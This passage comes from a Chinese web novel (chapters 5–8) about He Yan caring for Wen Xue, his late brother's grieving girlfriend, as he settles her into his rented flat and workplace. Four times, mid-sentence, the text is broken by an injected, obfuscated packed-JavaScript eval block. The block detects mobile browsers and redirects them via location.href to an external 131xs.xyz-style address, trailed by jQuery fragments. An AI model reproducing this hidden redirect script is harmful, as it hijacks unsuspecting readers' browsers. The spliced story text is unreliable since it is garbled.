闻雪对这车还有印象,开学时他就是开这车来送她,迟疑几秒,拉开车门坐上副驾,顺便系上安全带,车内镜挂着出入平安的吊坠,已经开始褪色了。
砰——
贺岩上车关门,他一向没轻没重,这声响惊得闻雪偏头看他,两人猝不及防地对视,在她要挪开视线时,他说,“你要是觉得闷,就把窗户降下来。”
他这破车经常四处跑,鱼龙混杂的地方也去过,载的都是比他还糙的男人,压根就不讲究,老天什么时候下雨,他的车就什么时候洗,完全随缘。车内要是脏到他都看不过眼了,才会开去洗车店里里外外洗一遍,这个频率半年不会超过两次。
“好。”
闻雪立刻就将车窗降下。
贺岩余光扫见,顿了顿,琢磨着下午就去洗个车。
他长臂一伸,从车后座的塑料袋里拿了个橙子塞给她,“吃点水果先垫垫。”
补充什么维生素对身体好,反正那个水果摊老板是这样说的。
闻雪低头看着手里的橙子,她没吃,而是捧起来嗅了下,橙子的清香很好闻又提神。
贺岩对西城很熟,不需要导航地图也能精准找到位置,一路畅通无阻开了半个多小时,停在了靠近老城区的民房前,闻雪迟疑着下车,左看右看,这儿也不像是吃饭的地方。
“哟,稀客!”
顶着一头卷发的中年女人见了贺岩,笑逐颜开,在见到他身后跟着个年轻女孩时,眼睛刷地就亮了起来,“哎呀,这是谁?好标致的小姑娘!”
贺岩用身躯挡了下她的注视,“我妹妹,梅姐,今天有鸡汤吗?有的话来一份,烧条鱼,再炒个——”
他歪了下头,低声问闻雪,“你想吃什么青菜?”
“都可以。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735188|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>梅姐热情介绍:“那就猪油渣炒白菜呗,打过霜的白菜甜得很。”
“行,就这个。”贺岩说。
院子里摆着几张桌子,这会儿太阳好,晒在身上暖洋洋的,明亮的光线映着闻雪苍白的脸,几近剔透,她还拿着那个橙子,像是当成了玩具,从前她就是这样,安安静静地坐在贺恒身边。
“这里大多数都是熟客。”
冷不丁的,听到这句话,她茫然了一瞬,抬起头看向对面的贺岩,轻点了下头,“……哦。”
贺岩也没有跟这个年纪的女孩打交道的经验。
他生活能接触到的异性几乎都是直爽又泼辣的嫂子,公司里那些女性员工,要么是司机的对象,要么跟他另一个搭伙的异姓兄弟沾点亲戚关系,十几个人吵吵闹闹是常有的事,平日里他也懒得管对方是男是女,工作上犯了错,该骂就骂,该罚就罚,他也习惯了跟人这般相处。
但他觉得,他不能以这一套对闻雪,她太脆弱。
他比贺恒,以及闻雪都要年长五岁。
依稀记得小时候他妈挺着个肚子,依然年轻的爸爸会问他想要妹妹还是弟弟,他想都没想就说妹妹。
但这事不是他说了算,生出来是个弟弟。
他承认,在过去的岁月中,他对贺恒没什么耐心,贺恒被人欺负了只知道委屈巴巴来找他,以致于后来他听到这小子哭就头疼,拳头硬,有时候烦了,还会让贺恒滚,到一边凉快去。
后来,他出去闯荡,忙得脚不沾地,想起来就给贺恒打个电话,想不起来就算了,兄弟之间不必黏黏糊糊。
贺岩看着闻雪又垂头不语,脑子里一条一条地列着。
先让她把身体养好,至于学业,她能念他供着读博都行,不能念就拉倒。
其次,他认识的人不算少,她毕业找工作的时候他帮忙盯着点。
最后,起码尽早给她置办套地段不错的房子,让她能有个安身立命之处。
以上这些,也是曾经他想为弟弟贺恒做的。
…
“来来来,吃饭前先喝碗汤。”梅姐端着锅热气腾腾的老母鸡汤出来,稳稳当当地放在桌上,顿时香气四溢,汤都是黄澄澄的,“我这汤从早上就在炉子上炖着,本来打算自家中午喝的,要不是你小子带妹妹过来,你可喝不着。”
她白了贺岩一眼,“你过来吃多少次饭了,懂不懂规矩,喝汤得提前两天预订!”
“谢了。”贺岩挑眉,从口袋里掏出包还没拆封的烟给她,“孝敬姐的。”
梅姐眉开眼笑,“这才像话。”
闻雪也客气地说:“谢谢。”
“跟姐客气什么?”梅姐拍拍她的肩,俯身,语气轻柔了很多,“以后常来玩,给你做几道拿手菜。”
“嗯,谢谢。”
梅姐哭笑不得,转身往厨房走,闻雪目送她撩起布帘进屋后,才礼貌地收回视线,忽地愣住,不知所措地看着她面前多出来的一碗鸡汤,瓷碗中还堆着一个大鸡腿。
贺岩察觉到她看过来的眼神,说:“先吃,吃完了还有一个,鸡腿都是你的。”
5. 005.
闻雪看着这碗鸡汤有些犯难,却也没说什么,双手托着碗,在贺岩的注视下,乖乖地轻啜几口,即便味蕾没有被完全打开,她的舌尖也能尝到这汤有多鲜美,温度有些烫,在冬天喝正好,下肚后胃也暖暖的。
“好喝。”她抿唇浅笑。
贺岩松了口气,“这里的鸡汤很有名,还有餐厅老板特意来买她的方子,我去喝过,不如梅姐自己炖的好。”
这锅汤用料足,母鸡都不是吃饲料的,喂养在农庄吃稻谷跟虫子。
小火慢炖几个钟,最后只要加点盐味道就很好。
闻雪喝了汤,又慢慢将鸡腿吃下,在贺岩还准备往她碗里添汤加肉时,她急忙出声:“不了,我真吃不下了,好撑。”
最后几口肉,她都是勉强咽下去的。
“行。”贺岩放下汤勺,“还剩半锅,倒掉太可惜,等会带走。”
他虽然平铺直叙,但说这话时,眼睛是看向她,也是在征求她的意见。他的想法很简单,鸡汤滋补,瞧着她也爱喝,索性打包带走当晚餐或者宵夜。
“好。”
贺岩吃饭不挑,桌上的红烧鱼跟白菜他吃得很香,没一会儿就往碗里添饭。
本来闻雪没注意他,她吃饱了开始放空自己,看着院子里的一草一木,眼神并不专注,四处游移,最后不经意地定在贺岩脸上,发现他也瘦了很多,她还记得,去年春节他从火车站出来,看似疲倦,实则意气风发,现在眉宇之间有着挥不去的沉郁。
她想,或许是她太过软弱,明明他比她要悲恸得多得多,可他还是能重新振作起来,真的很了不起。
“再吃点?”
贺岩感觉到她的目光,抬起眼眸,以为她想吃饭,“梅姐烧的鱼不错。”
闻雪起初不饿,看他一连吃了两碗,鬼使神差地点了下头,“好。”
但她学聪明了,没让他帮忙,她觉得如果让他来盛,饭肯定堆成小山包。
她只添了小半碗,听他的用鱼汤拌饭,就着清甜可口的白菜,竟然吃得干干净净。
…
吃撑了的结局是当她重新坐上车,车在路段颠簸时,她越来越困,实在抵抗不住困意,脑袋一点一点的,然后头一歪睡了。
贺岩偶尔侧目看她,很想叫醒她,毕竟是冬天,在车上睡很容易着凉,但张了张嘴,瞥见她卷翘睫毛也盖不住的那一抹青色,话又咽了回去,只能在放慢车速的同时,目光穿过挡风玻璃看看周围,追着太阳走,让午后温暖的阳光能够充分地笼罩着她。
最后,车辆停在了公园附近的停车场,风都带着暖意。
冬天昼夜温差大,入夜后寒风凛冽,白天气温很舒适,此时有人脱了棉袄绕湖在散步。
闻雪睡的时间并不长,也就半小时左右,但当她迷迷糊糊睁开眼睛时,首先看到的便是窗外不远处那波光粼粼的湖面,闪着仿佛宝石般的色彩光芒,紧接着是童言稚语传入她的耳朵,原来是年轻的父母带着一双女儿吹泡泡,最后是一道低沉略沙哑的男声——
“醒了?冷不冷?”
她缓缓转过头,看向贺岩,他剑眉寸头,左手手臂懒洋洋地搁在方向盘上,右手握着手机,只穿了件烟灰色毛衣,外套呢?本就反应慢半拍,刚醒来,后知后觉地发现,他的外套正搭她身上。
“不冷。”她赶忙把外套还给他。
贺岩抬手指指湖那边,“看到没?你下去溜达溜达,那里应该有自动贩售机,帮我买两瓶水。”
闻雪顺着他的视线看过去,应道:“嗯。”
等她下车,脚踩地的那一瞬间,微风拂面,吹起发丝,再往前走,这条绕湖的路,阳光铺洒,树影斑驳,她下意识地回过头,十几米外,那辆黑色吉普车灰扑扑地停在原地。
车内,贺岩似乎一直盯着她,见她回头,抬手做了个“去吧”的手势。
明明隔着这么远,她还是回了句:“好。”
闻雪睡醒,下车时还有些冷,走了一段路后,重新暖和起来,没一会儿就看到了贺岩说的自动贩售机,买了两瓶矿泉水。天气好,来公园游玩的人很多,可能是睡过一觉的关系,她久违地,感觉好像没那么疲倦。
-
等他们再次出发,来到贺岩租住的筒子楼时,已经是下午四点半。
闻雪跟在他身后走进这栋楼,有种回到童年的惊奇错觉。那时父母上班的厂宿舍就是这样,一条通廊贯穿,串联着不少房间,现在别说是新城区,老城区这种建筑风格的筒子楼都被拆迁,少之又少。
“这里住的是熟人。”贺岩轻松地提着箱子走在前面,“夫妻居多,人都挺好,我就住你楼下,有事你往外面喊一声就行。”
闻雪打量着脱皮的墙,被人踏得不平的台阶,只觉得好稀奇,正暗自猜测这里的租金是不是比别处要便宜时,由上而下哒哒哒的下楼声传来,打断了她的思考。
穿着毛呢裙的年轻女人还没走到他们这一层,她身上馥郁的香水味更早一步散到鼻间。
“呀!”
年轻女人急急顿住脚步,临近年关,大家都无心工作,她今天偷懒耍滑,四点就打卡下班回来,将自己捯饬得漂漂亮亮,准备等男朋友收车回来就去附近夜市吃吃逛逛。
谁知好死不死,被老板撞了个正着,她这什么鬼运气呀。
她欲哭无泪,“岩哥……”
果然贺岩上下扫视她,“你没上班?旷工?”
“岩哥……”女人双手无措地攥着包带,“那个,那个——”
她这才注意到贺岩身后的闻雪,还以为自己眼花出现幻觉了,否则他们孤寡岩哥怎么跟个年轻妹妹在一块儿?
“哎?岩哥,这是??”
贺岩不再追究她早退这件事,点了点下巴,“正好,你帮她把屋子收拾收拾。”
闻雪看对方急着出门,便轻声道:“不用的,东西不多,我一个人也能弄好。”
“不不不,你不行,你需要我!”
年轻女人二话不说,接过贺岩夹在胳膊下的被褥抱在怀里,扬唇一笑:“先介绍一下,我名字赵娜,他们都叫我娜娜,你呢?”
“闻雪,听闻的闻,下雪的雪。”
“哇,听见下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735189|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪,然后你就出生了是不是?”
闻雪莞尔:“应该是。”
“真好!”
三人一前一后来到保洁打扫干净的房间,面积不大,也就十几个平方,还做成了隔间,简简单单的大白墙,除了一张铁架床,简易衣柜,就什么也没了。
贺岩环顾一圈,沉声喊娜娜,对方心领神会,马上道:“岩哥,我肯定帮她整理好,我办事你就放心吧!”
“行。”
贺岩抬手看向腕表,“你们吴总还在公司吧?”
“在的在的!”
贺岩的目光从表盘移到闻雪脸上,思索数秒,沉吟:“我得去趟公司,估计要晚点回,有事直接给我打电话,我要是没接你就多打几次。”
闻雪轻轻地点头,“好。”
娜娜眼睛滴溜溜地转着,忙都忙不过来,一会儿看贺岩,一会儿看闻雪,差点按捺不住好奇心追问,触及老板那张严肃的脸,她悻悻地闭紧了嘴巴。
贺岩:“我先走了。”
闻雪嗯了声。
娜娜耳聪目明,确定贺岩下楼后,她小跑到走廊,扶着栏杆往下看,见他走出筒子楼上车,她拍了拍胸口,自言自语道:“吓死个人。”
…
吉普车发动机的响动不算小,吴越江坐办公室里都能听到,将打印出来的合同放好,随手扔在对面的办公桌上,余光看见贺岩高大的身影走来,便道:“一下午去哪呢,给你打电话也不接。”
“不是回你消息了?我有事,忙。”
“我没时间跟你发消息。”吴越江放下钢笔,狐疑看他,“你不太对劲,究竟去了哪里?”
前天下午,他就发现贺岩很古怪,明显一副心不在焉的模样。
昨天跟今天更是直接玩消失。
这不得不令他警铃大作,几个月前贺岩过了段颓废的日子,甚至有一天还将把手里的股份都便宜转给他,他气得一拳头砸过去,什么修养啊素质全没了,不得不放下狠话,谁要是敢撂摊子,兄弟也别做了,这才让贺岩打消念头。
该不会前几天去了趟庙里,又给他来心灰意冷想出家这一套吧?
“去了趟市里。”
贺岩拉开椅子坐下,随意翻翻合同,“有件事跟你说下,我带了个人过来,蔡姐的工作分给她做,她的工资我给,你们不用过问。”
吴越江:“……”
行,只要不是庙里,去美国都行。
他推推鼻梁上的眼镜,“谁?”
“闻雪。”
贺岩记起一桩很重要的事,拿起桌上的座机拨出号码,那边一接通,他便皱眉问道:“昨天交待你买的取暖器呢?”
吴越江还在消化“闻雪”这个名字带来的冲击。
忽然又听到“取暖器”,讶然地看过去。
电话那头的汪远声音高昂,连吴越江都能清晰地听到他在大声喊:“买了买了,哥,我在挑热水袋,毛绒绒的好可爱,我试过了,手揣着也特别温暖!对了,老板说还有暖脚宝,要不要?”
贺岩无奈地将话筒拿开了些,“买。”
6. 006.
挂了电话后,贺岩对上吴越江探究的眼神。
两人是多年好友,从小就混在一起爬树摸鱼,混了二十多年,也算是过命的交情。吴家运气不错,工厂出事那天,吴越江突然发了高烧,父母急急忙忙请假带他去医院,这才躲过一劫。
吴越江在父母的督促下,学习成绩不错,那几年他明明功课繁重,却还是坚持要给贺岩补课,就是想拉兄弟一把,无奈收效甚微,他高考发挥得不错,念的是名校,只等毕业时,一手证书,一手offer,在这个节骨眼上,贺岩找上了他,两人在大学城附近的大排档喝了不少啤酒,他头脑发热,二话不说就答应了来帮贺岩。
现在想想,人都是有私心的。
能当老板,谁愿意一辈子打工?
拼的是兄弟义气,为的自然也是锦绣前程,正因为如此,他不允许贺岩心灰意冷,丧失斗志。
“取暖器?”吴越江狐疑地看他,语气却很笃定,“肯定不是你用,也不会是你买来孝敬我,闻雪搬过来了?”
“住我楼上那间。”
贺岩说,“公司里的人要是问起来,就说她是我妹妹。”
贺恒已经去世,再对他认识的人介绍闻雪是弟弟的女朋友,已经不合适,也没必要。
他想,从前闻雪喊他一声哥,那以后,他就当她哥。
吴越江心情复杂,“她还好吗?”
贺岩在此之前都没见过闻雪几回,他就更别提了,只依稀记得,在海城殡仪馆的那几天,闻雪整个人都木了,一会儿沉默地流泪,哭到发抖也没发出声音,一会儿就坐在一旁望着遗像发呆。
他总觉得,事情过去半年,这个年轻的女生应该好起来了。
但现在看来应该不是这么一回事。
如果闻雪过得很好,贺岩不会把她带过来。
因为她的未来还很长,他们之间的这层关系又很微妙,逝世男友的哥哥,其实是不该跟她走得太近,毕竟她太年轻,以后会遇上别的可能,这个道理贺岩不会不明白……除非闻雪需要他的帮助,否则他不会贸然出现在她的生活里。
“不太好。”
短短三个字,便可以概括闻雪如今的状态。
贺岩停顿,说:“我不在公司的时候,你帮忙看着点,过去你怎么照顾小恒,以后也怎么照顾她,他们对我来说没区别。”
吴越江闻言愣了好一会儿。
事实上,贺恒的离世给他带来的打击也不小。在他心里,贺恒跟他自己的弟弟一样,过去贺恒文理分科时,是他拿的主意,贺恒高考选志愿时,念的也是他推荐的专业。
他总觉得,以后他还要帮贺恒出主意,是读研还是直接出来工作,工作的话要往哪些大厂投简历。
然而没有预告的死亡,才叫意外。
“好,行,应该的。”吴越江低头,掩去了眼中的难受,低声答应。
贺岩不再说话,拿了钥匙拉开抽屉,重新投入到公事中。
…
筒子楼里,娜娜几乎都没让闻雪上手,她手脚麻利地铺开被褥,“还有好几天大晴天,明天可以晒被子,你别看咱们这里破,阳光好着呢,我有个小姐妹在市区上班,只能租地下室,大白天都得开灯,不然乌漆嘛黑的,看都看不见。”
“好。”闻雪顿了顿,又说,“谢谢。”
娜娜被逗得不行,偏头看她,“你跟我说了七八次谢谢了。”
两人对视,或许是娜娜的笑容太有感染力,闻雪也笑了下,“真的很谢谢你,你应该急着出门吧?剩下的我自己来就行,你忙你的。”
“我不忙啦。”娜娜说,“我对象还没回,估计怎么着也得六点。”
“他也在这里上班吗?”
“是呢!”娜娜特别骄傲,“他是最早跟着岩哥开车的司机,那会儿就他们两个人,吴总都没来呢!”
赵娜也是个年轻姑娘,没什么城府,心思都写在脸上,说起这个话题叭叭叭的,“后来,我总来西城找我对象,一次也待不了几天嘛,每次走,我俩哇哇哭,岩哥估计看不下去了,就让我对象问我,愿不愿意留在这里,然后,我就在这打打杂,对了——”
闻雪打开衣柜,樟脑丸的气息扑面而来。
她有短暂几秒的怔忡,气味也是打开回忆的一把钥匙,在这跟童年住处相似的楼里,她打开的是奶奶的衣柜,很多人都觉得这味道不好闻,她却莫名感到放松,安心。
“哎?”
娜娜发现自己问的问题没人回答,扭头一看,闻雪站在衣柜前不知道在想什么。
她也凑了过来,顺着闻雪的视线望过去,顿时有些失望。
还以为衣柜里有钱呢……
“你还没回答我呢。”娜娜用手肘撞了撞她,催促。
闻雪回过神来,“什么?”
担心对方会不高兴,她补充,“不好意思,我刚没听清。”
“我是想知道你跟岩哥的关系啦。”娜娜笑,“就是很好奇嘛,我认识岩哥也挺久了,还是头一回见他跟人说话这么温柔,真是活见鬼啊。”
她跟贺岩是什么关系,闻雪被这个问题问住了。
因为过去从来没有人问过这个问题,那么现在呢?
她已经不愿意跟才认识的陌生人提起贺恒,甚至她也不希望亲朋好友再提起,贺恒成为了她身上的一道疤痕,每一次提,都要展示一遍,可身体是她的,皮肤是她的,伤疤也是她的,她不想给别人看。
她不想解释贺恒是谁,他去哪了。
“他是我哥。”犯难时,闻雪记起中午吃饭贺岩跟梅姐就是这样介绍的。
娜娜惊讶,“兄妹啊?”
“没有血缘关系。”闻雪解释,“我们都是海城人,所以他很照顾我。”
“懂了!”
娜娜不再追问关系,眼睛一亮,兴奋地问:“那你是来这上班吗?”
这儿什么都好,但她没朋友。
蔡姐她们比她大十岁,多多少少有点代沟,跟她同龄的小姐妹在市区打工,有的一个月休两天,就算休息也不会是双休日,时间根本凑不到一块儿。
“不知道算不算。”闻雪斟酌,“他说这里缺人手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735190|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我正好放寒假过来帮忙。”
“寒假?!”
娜娜吃惊地打量她,“你是老师还是学生?”
像寒假暑假,只可能用在这两种身份上,反正她好几年没听过这个词了,一时之间竟然还有点陌生,好像是上辈子的事。
“……学生。”闻雪想了想,“我还没毕业。”
“大学生?”
得到点头答复后,娜娜哇了一声,崇拜道:“好厉害!”
叩叩叩——
敲门声打断了她们的聊天,两人齐刷刷看向门口。
汪远双手叉腰,喘着气,说话都断断续续地,“搬、搬来了……”
“什么搬来了?”娜娜走过去,这才发现他脚边堆满了东西,震惊不已,“这都什么呀?”
“你好。”
汪远主动跟闻雪打了个招呼,他热得不行,拉链敞开,“岩哥让买的,喏,取暖器,暖脚宝,热水袋,还有烧水壶保温杯,累死我了!”
大大小小的盒子几乎都快挡住廊道,也不知道他是怎么搬上来的。
不止娜娜,闻雪都怔住了。
缓过气来,汪远这才有空认真观察闻雪,年轻的女生满身书卷气,五官清丽,聘聘婷婷,穿着羽绒服,帽子边缘一圈白色绒毛,衬得她脸小小的,就是青春电影里抱着书本经过教室外走廊时,会被男生目不转睛盯着的女生。
忽然,一只涂着指甲油的手挡住了他的视线。
娜娜翻了个大白眼:“你眼睛快黏人家妹妹身上了,再看,给你戳瞎!”
汪远脸一红,嘴都快咧到耳根了,“没,没……”
“这些是岩哥让你送来的吗?”娜娜问。
“嗯嗯。”
“行,你可以走了。”
汪远:“……”
他有些不好意思地挠挠头,脸上的红晕还没散,“那,有事找我,我叫汪远,汪是那个汪,远是那个远,我就住——”
“滚。”娜娜抬手一指,“回你的房间照镜子去!”
等汪远一步三回头走了后,娜娜轻哼一声,回过头对闻雪说:“你别搭理他,不过,他人不坏,还有点憨,算是岩哥跟吴总的助理保镖吧,平常跑跑腿什么的,别看他瘦,他打架很厉害。”
闻雪若有所思地点头。
她好像误入了一个从未踏过的世界,奇奇怪怪,又莫名其妙地很和谐。
“我帮你搬进来!”娜娜弯腰,轻松搬起看着最重的取暖器往屋里走,“这个你是放床边吧?”
两个女生将门口的这些取暖设备全挪进房间。
不知不觉,原本空荡的房子被填满,烧水壶呜呜呜地响着,壶口喷出热气,可爱的卡通热水袋就像一条哈巴狗趴在床上,暖脚宝则是一头温顺的绵羊匍匐在地。
咔哒一声。
娜娜摁开取暖器的开关,从暗到明,再到如同火光照耀。
两人蹲在一旁,不约而同地烘手。
“暖和吧?”
闻雪静静地感受着掌心的温度,的确很温暖,唇角泛开笑意:“嗯。”
7. 007.
娜娜的手机振动,是男朋友发来的甜蜜消息。
她看了眼,满脸笑意,环顾四周,见屋子都整理得差不多了,便道:“闻雪,我对象刚出车回来,没事的话我先走啦。”
闻雪点点头,想起她帮自己忙活这么久,口头上的感谢似乎有些轻飘飘,视线掠过被她放在床头柜的像一盏熏香小夜灯的橙子,定格在堆在行李箱上的书包,赶忙从里找出几颗被金箔纸包着的巧克力,双手捧着递给娜娜,含笑道:“这个巧克力挺好吃的,尝尝?”
娜娜惊喜极了。
倒也不是为巧克力,现在她一个人拿两张工资卡,想怎么花就怎么花,再也不是过去没见过世面的她了,她惊喜的是闻雪的态度,兴许是她没念过什么书,她打从心里佩服会念书的人。
佩服是佩服,可她不觉得闻雪会愿意跟她当朋友。
所以,在知道闻雪还在念大学时,她便歇了跟对方当好朋友的心思。
“看起来就很好吃呢。”娜娜不假思索地说,“闻雪,要不你跟我们一块儿去夜市逛逛?我请你吃好吃的!”
“我有点累了,想休息休息。”
闻雪轻声,“你对象还在等你吧?早点去跟他汇合,好好玩。”
“那要我给你带吃的吗?”
“不用。”闻雪指指放在一边的打包袋,“我有晚饭。”
“好吧,那拜拜咯。”
娜娜欢快地往外走,又顿住脚步,歪了歪身子,悄悄照照挂在墙上的镜子,确定自己美得发光,嘴里哼着流行歌曲,心情飞扬地下楼找男朋友。
闻雪出神地望着她离开的背影。
其实是有些眼熟的,就好像见到了过去的自己。
那时候她也是这样,每次贺恒来接她,她总要拿梳子把发尾梳顺,偷偷在手腕擦上跟室友一块儿买的香水膏体,嘴唇也抿上点口红,下楼朝他飞奔。
她并没有很痛苦,她只是在思念他而已。
她清楚地知道,有一天这样浓烈的思念会褪色,会变成漂浮在空气中的灰尘,她知道人无法跟漫长的岁月抗争,所以她不再勉强自己去遗忘。
这一天,它迟早会来。
但她不该盼着它来。
天色渐暗,闻雪倚着门思绪漫无目的地乱晃,还是不知道从哪个屋子传出来的颠锅炒菜噼里啪啦的声音,以及飘散在空中的辣椒味,将她的感观再次拉拽回现实。
她转身进了房间,头顶的灯光跟宿舍的白光不同,它颜色很暖,照着墙面仿佛也在升温。
羽绒服口袋的手机铃声响了起来,是闺蜜杨思逸的来电。
杨思逸每天都要给她打电话,要确定她好好的才会放心,她接通,还没来得及说句话,那头就问:“票买了没?要不,我去西城接你一起回?”
“没买。”闻雪一向慢吞吞的,这次却很快,抢在她嘀咕之前开口,“别担心,我找了份兼职,包吃包住。”
杨思逸大惊:“兼职,什么兼职?会不会被骗?做什么的?”
“你还记得贺岩吗?”闻雪声音很轻,“他跟人开了个公司,有个岗位暂时缺人,我过来试试。”
“贺岩,那他不是……”
杨思逸收声,不想提起贺恒的名字。
“对。”闻雪说,“就是他。”
“他怎么会找你呢?”杨思逸不解,“你等一下,我问问我姐,如果我没记错,我姐好像跟他是小学同学。”
闻雪失笑:“你别问,他人很好。”
杨思逸已经钻进了姐姐房间,她没捂着手机,姐妹俩的对话全都清晰被闻雪听见——
“姐,你认识贺岩吗?就,那个贺岩。”
“谈不上认识吧,干嘛?”
“他要闻雪去他那里兼职,该不会是骗子吧?”
“那不会,来,手机给我……”
下一秒,杨思逸姐姐接过手机,声音比刚才温柔了不止一个度,“闻雪,贺岩人挺好的,我们那一届去年有个校友生病了,好像做手术要花不少钱,听说他给凑了些,他们读书时也没什么交情,就当过一个学期的同桌。”
闻雪认真地听着。
这通电话讲了快二十分钟才挂断,外面也彻底被夜色笼罩,她像是无头苍蝇,在房间里转来转去,瞥见早已经冷透了的鸡汤,还剩半锅也很多,她没感觉很饿,只能坐在床边,抱着没插电的热水袋发呆。
以往她发呆都很专心。
耳朵听不见任何嘈杂的声音,但今天有一缕心神是抽离状态,时不时就飘到那个塑料打包桶上,这鸡汤今天要是不解决,明天就该倒掉,可这是贺岩特地交代梅姐打包的。
不知坐了多久,她犹犹豫豫地站起来,拿着手机钥匙,关灯出门。
汪远站在通廊,顶着冷风抽烟,听到那边的动静,闻声望过去,手忙脚乱将烟灭掉,伸手挥了挥,拘谨地喊了声,“闻小姐,有需要我帮忙的地方吗?”
他都差点被自己这文绉绉的腔调呛死。
“不用的,我出去买点面条。”
汪远为难地看向夜空,西城治安好,这一片也很安宁,可靠近年边,街上暂时没明目张胆的流氓,但有想好好回家过个饱年的扒手小偷,他一咬牙,跟在闻雪身后下楼。
闻雪听见脚步声,在昏暗的楼道,回头看了眼。
汪远急急刹住,胡乱解释:“我也去买点东西。”
闻雪能感受到他的好意,对他笑笑,“嗯。”
汪远不知所措地摸摸脑袋,察觉到她默许了,咧嘴笑了下,保持着几米的距离,跟在她身后。
…
洗车店外。
老板嗬了声,揶揄道:“贺总怎么舍得来洗车了?”
贺岩常年跟人打交道,这会儿只是笑,给老板还有在一边吃盒饭的学徒发烟,“让你徒弟给我车里洗干净点,车垫多冲几遍。”
“确定要洗?”老板又打趣,“天气预报说过几天下雨。”
“该洗了。”
回到八年前,贺岩也能适应得很好,归根到底,很多东西对他而言只是过眼云烟,上辈子他穷过,也富过,日子并没有太大的区别。
他跟老板闲聊着,突然蹙了下眉,大步上前,弯腰钻进车里,翻找到吸水毛巾,像是不放心学徒,对方冲过的地方,他还要再擦一遍,洗车店老板都咂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735191|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舌。
吉普车是灰扑扑开进来。
再开出去时,车身恢复成原本的黑色。
挡风玻璃也干净透亮,贺岩注意着前方路况,忽地一顿,花坛内侧的人行路有两道熟悉的身影,男人提着超市塑料袋走左边,女生走右边,路灯的光倾洒,拉长了他们的影子。
贺岩按了下喇叭,同时降下车窗。
汪远被突兀的喇叭声惊得看过来,隔着段距离,认出是他岩哥的车,肩膀一松,扬声道:“岩哥!”
贺岩没看他,望向他身侧的闻雪。
四目交汇。
她也有些惊讶。
“上车。”贺岩将车开得很慢。
汪远:“岩哥,就几百米远了。”
“没让你上。”
贺岩看她的头发,还有帽子上的绒毛被风吹起,太阳落山后,气温陡降,这一片没有高楼林立,寒风呼啸,她现在这身板不一定扛得住。
汪远:“?”
闻雪习惯性地把贺岩当家长,在汪远还没反应过来的时候,她已经从他手里接过塑料袋,轻声说了谢谢,接着擦过他,快步走向那辆车,拉开副驾门上车。
砰——
停留在原地的汪远懵了,然后看着那辆车往前开,还真没让他上车的意思啊……
闻雪上车系好安全带后,意外发现车内干净了许多,空气中还残留着洗涤用品的清冽气息,她清亮的眼睛缓慢地扫过前座玻璃,车挂,垂下眼帘,目光落在还有着水痕的车垫上。
她又下意识地看向了在开车的人。
贺岩察觉到她在注视,有些话没必要说,但他的确想考虑她的感受,也会顾虑她的感受,这是曾经的他欠缺贺恒的,兄长这个身份,他第一次没有做好,希望第二次能像样点。
“刚才是去超市了?”他问。
“是。”闻雪腿上还放着超市的塑料袋,尽管他没问她买什么,她还是交待,“买了面条,鸡蛋,还有毛巾。”
“晚饭吃了没?”
闻雪听着这个问题,不由得舒了一口气,还好她放不下那半锅鸡汤,要是没喝或者倒掉,她真不知道该怎么回答,“还没,不过我买面条是准备煮鸡汤面吃。”
贺岩沉默数秒。
他是想开车接她出去吃饭,见她已经有了安排,便没再吭声。
他不管忙或者不忙,三餐也称不上规律,坦白说在此之前他还从没操心过别人吃不吃、吃什么这种琐碎小事,因此关心起来也分外不熟练。
比如,他下午去公司之前,应该跟她说一声晚饭他会带她出去吃。
几百米的距离,踩踩油门便驶进了筒子楼外,时间短到本就不熟的他们统共也就只说了三句话。
“你先上去。”
闻雪嗯了声,解开安全带要推门下车时,面上也浮现挣扎,她忍不住猜测,他洗车是不是因为她白天打开车窗,他问她吃没吃晚饭,是不是要带她去外面吃。
他真的很好,还让人买了那么多取暖的东西给她,可她表现得很糟糕,越想越不安,她攥着塑料袋的手在收紧,鼓起勇气道:“你要一起吃吗?我买了好多面条。”
8. 008.
在贺岩的处事规则中,他绝不会进异性的房间,尤其是晚上。
